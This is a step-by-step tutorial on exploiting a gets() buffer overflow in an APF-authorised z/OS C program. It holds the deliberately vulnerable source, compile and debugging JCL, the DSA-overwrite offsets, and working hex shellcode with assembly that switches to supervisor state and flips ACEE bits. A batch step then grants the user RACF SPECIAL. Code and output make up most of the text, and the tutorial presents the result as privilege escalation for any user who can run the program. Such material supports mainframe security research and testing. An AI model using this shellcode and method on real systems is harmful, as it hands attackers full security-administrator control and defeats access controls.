z/OS exploiting GETS

Jake Labelle

June 2021

1 Compiling C APF program

Compile a program that uses GETS, any will do, this tutorial will use the below. It needs to be compiled into a APF authorised library and link edited with AC(1).

```
#include <stdio.h>
#include <string.h>

int main(void)
{
    char buff[150];

    printf("Hi, what is your name?\n");
    gets(buff);
    printf("G'day %s", buff);

}
```

This is the JCL to compile the program.

```
//* Compile and bind step
//*------------------------------------------------------------------
//ACOMP    EXEC EDCCB,
//         OUTFILE='JAKE.TSOTEST.LIBRARY(GETSECHO),DISP=SHR',
//         CPARM='ASM'
//STEPLIB  DD DSN=CBC.SCCNCMP,DISP=SHR
//         DD DSN=CEE.SCEERUN,DISP=SHR
//         DD DSN=CEE.SCEERUN2,DISP=SHR
//COMPILE.SYSIN DD DSN=JAKE.SOURCE.C(GETSECHO),DISP=SHR
//BIND.SYSIN   DD *
  SETCODE AC(1)
  NAME GETSECHO(R)
/*
//*------------------------------------------------------------------
//* Run step
//*------------------------------------------------------------------
//GO       EXEC PGM=GETSECHO
//STEPLIB  DD DSN=JAKE.TSOTEST.LIBRARY,DISP=SHR
```

2 Static Analysis

First step, run AMBLIST to map load modules and program objects.

JAKE.JCL(AMBLIST)

```
//AMBLIST JOB (ACCT),MSGCLASS=H,NOTIFY=&SYSUID
//AMBL       EXEC   PGM=AMBLIST,REGION=64M
//SYSPRINT   DD     DSN=JAKE.AMBLIST(GETSECHO),DISP=OLD
//AMBLIB     DD     DSN=JAKE.TSOTEST.LIBRARY,DISP=SHR
//SYSIN      DD     *
    LISTLOAD  DDN=AMBLIB,MEMBER=GETSECHO
/*
```

This produces the following:

```
1    LISTLOAD  DDN=AMBLIB,MEMBER=GETSECHO,OUTPUT=MAP
1                                  *****  M O D U L E   S U M M A R Y  *****
0    MEMBER NAME:  GETSECHO                                            MAIN ENTRY POINT:    00000000
0    LIBRARY:      AMBLIB                                              AMODE OF MAIN ENTRY POINT: 31
0        NO ALIASES **
-------------------------------------------------------------------------------------------------------
0                       ****          ATTRIBUTES OF MODULE           ****
0                **   BIT  STATUS         BIT  STATUS         BIT  STATUS         BIT  STATUS   **
                       20 APF              21 PGM OBJ          22 NOT-SIGN         23 RESERVED
0------------------------------------------------------------------------------------------------------
                                     APFCODE:           00000001
                                     RMODE:             ANY
0------------------------------------------------------------------------------------------------------
1                             ** SEGMENT MAP TABLE **

OCLASS             SEGMENT    OFFSET   LENGTH       LOAD      TYPE    ALIGNMENT    RMODE
OB_TEXT                  1         0      B60       INITIAL   CAT     DOUBLE WORD  31
1                             ** NUMERICAL MAP OF PROGRAM OBJECT GETSECHO         **

0------------------------------------------------------------------------------------------------------
ORESIDENT CLASS:           B_TEXT
0      CLAS LOC   ELEM LOC    LENGTH  TYPE  RMODE    ALIGNMENT             NAME
        80                       1C8   ED      31    DOUBLE WORD          $PRIV000010
            118         98             LD                                   MAIN
       3B0                         A   ED      31    DOUBLE WORD           gets
            3B0          0             LD                                   GETS
       3C0                         A   ED      31    DOUBLE WORD           printf
            3C0          0             LD                                   PRINTF
0      CLASS LENGTH              B60
OLENGTH OF PROGRAM OBJECT      B60
0------------------------------------------------------------------------------------------------------
0**   END OF MAP AND CROSS-REFERENCE LISTING
```

We can ignore all the language environment junk e.g CEEROOTA. Important information is location of our main, gets and printf function.

3 Dynamic Analysis

Now, lets start debugging. We are going to use TESTAUTH in batch TSO. This is important for crafting the exploit as in TSO the addresses are going to change around a bit. Also it easily muck around with the SYSIN and other datasets used by the program. APF authorised programs can only be debugged by TESTAUTH not TEST.
You need the correct RACF privelleges to use TESTAUTH. Be aware this is basically special access.

```
SETROPTS CLASSACT(TSOAUTH)
RDEFINE TSOAUTH TESTAUTH UACC(NONE)
PERMIT TESTAUTH CLASS(TSOAUTH) ID(ADMINS) ACCESS(READ)
SETR RACLIST(TSOAUTH) REFRESH
```

Below is my template TESTAUTH JCL.

```
//TESTAUTH   JOB 'TESTAUTH',NOTIFY=&SYSUID,REGION=0M,
// MSGCLASS=H,MSGLEVEL=(1,1)
//STEP01    EXEC PGM=IKJEFT01
//STEPLIB   DD DSN=SYS1.LINKLIB,DISP=SHR
//CEEOPTS   DD  *
 ENVAR(TEST=TEST)
//*
//SYSIN  DD   *
test

//*
//SYSTSPRT  DD   SYSOUT=A
//SYSPRINT DD SYSOUT=*
//SYSTSIN   DD *
 TESTAUTH 'JAKE.TSOTEST.LIBRARY(GETSECHO)'
 go
//*
```

This is a normal run of the program.

```
 TESTAUTH 'JAKE.TSOTEST.LIBRARY(GETSECHO)'
TESTAUTH
 go
IKJ57023I PROGRAM UNDER TEST HAS TERMINATED NORMALLY+
IKJ57023I BREAKPOINTS SET ARE STILL VALID
TESTAUTH
END
Hi, what is your name?
G'day test
```

Now lets set a breakpoint at the GETS symbol so +3B0. Lets also list our parameter list (R1) and our DSA Pointer (R13).

```
 //SYSTSIN   DD *
 TESTAUTH 'JAKE.TSOTEST.LIBRARY(GETSECHO)'
 AT +3B0
 GO
 WHERE
 LIST 1R
 LIST 13R
//*
```

This is the output.

```
 TESTAUTH 'JAKE.TSOTEST.LIBRARY(GETSECHO)'
TESTAUTH
 AT +3B0
TESTAUTH
 GO
IKJ57024I AT +3B0
TESTAUTH
```

```
 WHERE
 1FA4B640. LOCATED AT +0      IN GETSECHO.gets
TESTAUTH
 LIST 1R
 1R  1FAA02E0
TESTAUTH
 LIST 13R
13R  1FAA0248
TESTAUTH
END
Hi, what is your name?
```

We know GETS takes one pointer, so lets see where that is. Lets also look at the NAB (next available byte) on our current DSA. This is where the GETS DSA will be set up.

```
 //SYSTSIN   DD *
 TESTAUTH 'JAKE.TSOTEST.LIBRARY(GETSECHO)'
 AT +3B0
 GO
 WHERE
 LIST 1R
 LIST 13R
 LIST 1FAA02E0. X
 LIST 1FAA0248. X M(20)
//*

 TESTAUTH
 LIST 1FAA02E0. X
1FAA02E0.  1FAA02E8
TESTAUTH
 LIST 1FAA0248. X M(20)
...
1FAA0294.  1FAA0380
```

Now lets calculate 1FAA0380 – 1FAA02E0 = A0. So if we can put more that 160 bytes into the SYSIN we should overwrite the GETS DSA.
This is the SYSIN with 152 characters. I use LGBT repeated, as its a 4 letter word that is unlikely to appear in a program. 4 letters helps work out the alignment, which is important for a number of instructions. Also remember that a the end of a string it will put a null byte. So make sure you are not overriding something important. With a DSA overflow it is important that you return from your current function.
We should also make a SYSIN dataset with a large LRECL.

```
//SYSIN     DD   DSN=JAKE.LGBT,DISP=SHR

Hi, what is your name?
G'day LGBTLGBTLGBTLGBTLGBTLGBTLGBTLGBTLGBTLGBTLGBTLGBTLGBTLGBTLGBTLGBTLGBTLGBTLG
BTLGBTLGBTLGBTLGBTLGBTLGB
```

Now set the SYSIN to 160 characters. I normally set the last 4 bytes to something different, in this case KALE. See how R13 now has KALE. This caused a U4083, which means that the DSA had a error. If the program is nice, it will crash gracefully and produce a CEEDUMP, which is very easy to read. But it is likely to just produce a DUMP. We will read this is IPCS.

```
$HASP373 TESTAUTH STARTED - INIT 1    - CLASS A        -
CEE0374C CONDITION=CEE3204S TOKEN=00030C84 59C3C5C5 0000
         WHILE RUNNING PROGRAM CEEEV003
         AT THE TIME OF INTERRUPT
         PSW     078D0400 85C497FA
         GPR 0-3 00000020 1FA99D60 1FA96098 05C49806
         GPR 4-7 00000000 1FA96098 1FAA02E8 1FAA0388
         GPR 8-B 00000000 00000020 000000A0 1FACC2F9
         GPR C-F 1FA9B1D8 D2C1D3C5 1FACC2F9 1FAA02E8
CEE3798I ATTEMPTING TO TAKE A DUMP FOR ABEND U4083
IGD104I JAKE.D168.T1728447.TESTAUTH
```

4 Exploit Dev

Using a hex editor lets set 0x1FAA02E8 - 0xC as the last 4 bytes of our SYSIN. This will set the DSA pointer to before our buffer, with the saved R14 being the first four bytes of our DSA. Lets also put a WTO SVC 0x0A23, on bytes 4 - 6 of the buffer. So this would be 0x1FAA02EC0A23[LGBT REPEATED]1FAA02DC. When we run the program it will throw another U4083 error, but we can see that it ran the WTO SVC and wrote some garbage.

```
17.53.27 JOB01221  $HASP373 TESTAUTH STARTED - INIT 1    - CLASS A        - SYS
         JOB01221 *34    Y   2 00  CEE         00  OC  +      x4    }  \}<  \
                            xM   "& xd
17.53.28 JOB01221  CEE3798I ATTEMPTING TO TAKE A DUMP FOR ABEND U4083 TO DATA SE
```

Because we are running APF authorised code we can use authorised SVC like modeset. The following shell code will flip the ACEE bit to allow any tasks in the job to run as special.

```
0xA718003C0A6B585002245855006C585500C89400502696B1502617FF07FC
```

This the below assembly compiled.

```
SUPER    CSECT
         STM   14,12,12(13)
         BALR  12,0
         USING *,12
         MODESET KEY=ZERO,MODE=SUP
         L 5,X’224’           POINTER TO ASCB
         L 5,X’6C’(5)         POINTER TO ASXB
         L 5,X’C8’(5)         POINTER TO ACEE
         NI X’26’(5),X’00’
         OI X’26’(5),X’B1’
         XR    15,15
         BR    14
         END   SUPER
```

Now lets add a BATCH TSO step to make our user special with the flipped ACEE. Lets also set the COND=EVEN so that even if the previous job ABENDs we will run this step.

```
//STEP02    EXEC PGM=IKJEFT01,COND=EVEN
//STEPLIB   DD DSN=SYS1.LINKLIB,
// DISP=SHR
//SYSTSPRT  DD   SYSOUT=A
//SYSPRINT DD SYSOUT=*
//SYSTSIN   DD *
 ALU JAKE SPECIAL
//*
```

If this works you should be able to give the special authority without having special. However the TESTAUTH authority gives us special anyway, so we need to be able to get this working without debugging. There are two methods that I use.
If there is a register which has a fixed offset from your buffer e.g R15 is always the buffer address when this program abends we can use this to find it.

```
GPR 0-3 00000020 1FA99D60 1FA96098 05C49806
GPR 4-7 00000000 1FA96098 1FAA02E8 1FAA0388
GPR 8-B 00000000 00000020 000000A0 1FACC2F9
GPR C-F 1FA9B1D8 D2C1D3C5 1FACC2F9 1FAA02E8
```

If you can not find any here, then your only option is to look in the IPCS dumps that are created.

```
Go to IPCS, Browse and enter the dump as the source.
\begin{lstlisting}
Source ==> DSNAME(’JAKE.D168.T1728447.TESTAUTH’)
```

In the command enter `WHERE 1FAA02E8`. Try different addresses to find different subpools.

Lets run GETSECHO without TESTAUTH and using 160 bytes of just LGBT

```
//GETSECHJ   JOB 'GETSECHJ',NOTIFY=&SYSUID,REGION=0M,
// MSGCLASS=H,MSGLEVEL=(1,1)
//STEP01    EXEC PGM=GETSECHO
//STEPLIB   DD DSN=JAKE.TSOTEST.LIBRARY,DISP=SHR
//CEEOPTS   DD  *
 ENVAR(TEST=TEST)
//*
//CEEDUMP   DD SYSOUT=*
//SYSIN     DD   DSN=JAKE.LGBT,DISP=SHR
//SYSPRINT  DD SYSOUT=*
//STEP02    EXEC PGM=IKJEFT01,COND=EVEN
//STEPLIB   DD DSN=SYS1.LINKLIB,
// DISP=SHR
//SYSTSPRT  DD   SYSOUT=A
//SYSPRINT DD SYSOUT=*
//SYSTSIN   DD *
 ALU JAKE SPECIAL
//*
```

Now we know that our buffer is at 1FA182E8. So recreate the shellcode in the same way as before (1FA182E8 - C last 4 bytes, 1FA182E8 + 4 first 4 bytes). Now we have a method of getting special with any user who can execute GETSECHO.

```
         WHILE RUNNING PROGRAM CEEEV003
         AT THE TIME OF INTERRUPT
         PSW     078D0400 85C497FA
         GPR 0-3 00000020 1FA11D60 1FA0E098 05C49806
         GPR 4-7 00000000 1FA0E098 1FA182E8 1FA18388
         GPR 8-B 00000000 00000020 000000A0 1FA462F9
         GPR C-F 1FA131D8 D3C7C2E3 1FA462F9 1FA182E8
CEE3798I ATTEMPTING TO TAKE A DUMP FOR ABEND U4083
```